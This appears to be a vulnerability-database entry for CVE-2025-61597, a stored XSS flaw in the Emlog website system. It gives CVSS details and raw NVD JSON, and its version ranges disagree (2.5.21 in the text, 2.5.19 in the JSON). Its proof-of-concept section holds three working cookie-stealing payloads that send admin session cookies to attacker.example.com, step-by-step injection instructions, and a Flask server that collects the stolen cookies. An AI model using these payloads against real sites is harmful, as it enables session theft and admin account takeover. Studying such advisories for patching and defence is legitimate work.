Security Vulnerability Report
中文
CVE-2025-61597 CVSS 7.6 HIGH

CVE-2025-61597

Published: 2025-10-03 07:15:46
Last Modified: 2025-10-20 17:50:24

Description

Emlog is an open source website building system. In versions 2.5.21 and below, an HTML template injection allows stored cross‑site scripting (XSS) via the mail template settings. Once a malicious payload is saved, any subsequent visit to the settings page in an authenticated admin context will execute attacker‑controlled JavaScript, enabling session/token theft and full admin account takeover. This issue is fixed in version 2.5.22.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:* - VULNERABLE
Emlog <= 2.5.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61597 PoC: Stored XSS via Emlog Mail Template Settings --> <!-- Attack vector: Inject malicious payload into mail template content field --> <!-- Step 1: Authenticate as a user with access to mail template settings --> <!-- Step 2: Navigate to the mail template settings page --> <!-- Step 3: Inject the following payload into the template content field --> <!-- Payload 1: Basic cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Payload 2: Using img onerror event handler (more stealthy) --> <img src="x" onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)"> <!-- Payload 3: Using SVG with onload --> <svg onload="new Image().src='https://attacker.example.com/x?'+document.cookie"> <!-- Step 4: Save the template --> <!-- Step 5: Wait for an admin to visit the mail template settings page --> <!-- Step 6: The malicious JavaScript executes in the admin's browser context --> <!-- Step 7: Admin's session cookie/token is exfiltrated to attacker's server --> <!-- Attacker server endpoint (e.g., Flask) to capture stolen cookies --> // from flask import Flask, request // app = Flask(__name__) // @app.route('/steal') // def steal(): // cookie = request.args.get('c') or request.args.get('cookie') // with open('stolen_cookies.txt', 'a') as f: // f.write(cookie + '\n') // return '' // app.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61597", "sourceIdentifier": "[email protected]", "published": "2025-10-03T07:15:45.667", "lastModified": "2025-10-20T17:50:24.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In versions 2.5.21 and below, an HTML template injection allows stored cross‑site scripting (XSS) via the mail template settings. Once a malicious payload is saved, any subsequent visit to the settings page in an authenticated admin context will execute attacker‑controlled JavaScript, enabling session/token theft and full admin account takeover. This issue is fixed in version 2.5.22."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:*", "versionEndIncluding": "2.5.19", "matchCriteriaId": "72E4E5DE-A4A2-4326-B8EE-71690D75F7AE"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/pull/179", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/emlog/emlog/security/advisories/GHSA-hj97-hp2c-6m4m", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}